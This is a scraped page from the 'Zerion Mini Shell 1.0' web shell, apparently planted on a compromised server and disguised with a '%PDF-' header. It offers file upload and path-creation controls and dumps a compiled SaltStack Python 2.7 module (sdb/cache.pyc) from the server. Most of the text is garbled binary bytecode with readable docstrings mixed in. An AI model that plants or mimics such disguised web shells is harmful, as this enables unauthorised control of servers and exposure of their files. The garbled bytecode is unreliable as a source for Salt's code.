%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/sdb/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/sdb/cache.pyc

�
���^c@@s�dZddlmZmZmZddlZidd6ZdZd�Z	ddd�Zddd	�Zddd
�Z
d�ZdS(u�
cache Module

:maintainer:    SaltStack
:maturity:      New
:platform:      all

.. versionadded:: 2017.7.0

This module provides access to Salt's cache subsystem.

Like all sdb modules, the cache module requires a configuration profile to
be configured in either the minion or master configuration file. This profile
requires very little. In the example:

.. code-block:: yaml

    mastercloudcache:
      driver: cache
      bank: cloud/active/ec2/my-ec2-conf/saltmaster
      cachedir: /var/cache/salt

The ``driver`` refers to the cache module, ``bank`` refers to the cache bank
that contains the data and ``cachedir`` (optional), if used, points to an
alternate directory for cache data storage.

.. code-block:: yaml

    master_ip: sdb://mastercloudcache/public_ips

It is also possible to override both the ``bank`` and ``cachedir`` options
inside the SDB URI:

.. code-block:: yaml

    master_ip: sdb://mastercloudcache/public_ips?cachedir=/var/cache/salt

For this reason, both the ``bank`` and the ``cachedir`` options can be
omitted from the SDB profile. However, if the ``bank`` option is omitted,
it must be specified in the URI:

.. code-block:: yaml

    master_ip: sdb://mastercloudcache/public_ips?bank=cloud/active/ec2/my-ec2-conf/saltmaster
i(tabsolute_importtprint_functiontunicode_literalsNusetuset_ucachecC@stS(u6
    Only load the module if keyring is installed
    (t__virtualname__(((s2/usr/lib/python2.7/site-packages/salt/sdb/cache.pyt__virtual__;scC@sNt||�\}}tjjt�}|j|d||�t|||�S(u3
    Set a key/value pair in the cache service
    ubank(t
_parse_keytsalttcachetCachet__opts__tstoretget(tkeytvaluetservicetprofileR((s2/usr/lib/python2.7/site-packages/salt/sdb/cache.pytset_BscC@s>t||�\}}tjjt�}|j|dd|�S(u,
    Get a value from the cache service
    ubankR(RRRRR	tfetch(RRRR((s2/usr/lib/python2.7/site-packages/salt/sdb/cache.pyRLscC@s_t||�\}}tjjt�}y|j|dd|�tSWntk
rZtSXdS(u,
    Get a value from the cache service
    ubankRN(	RRRRR	tflushtTruet	ExceptiontFalse(RRRR((s2/usr/lib/python2.7/site-packages/salt/sdb/cache.pytdeleteUs
cC@s�|jd�}t|�dkrax=|djd�D]%}|jd�\}}|||<q5Wnd|kr~|dtd<n|d|fS(uD
    Parse out a key and update the opts with any override data
    u?iu&u=ucachediri(tsplittlenR	(RRtcompstitemtnewkeytnewval((s2/usr/lib/python2.7/site-packages/salt/sdb/cache.pyRbs(t__doc__t
__future__RRRt
salt.cacheRt__func_alias__RRtNoneRRRR(((s2/usr/lib/python2.7/site-packages/salt/sdb/cache.pyt<module>.s
	
	

Zerion Mini Shell 1.0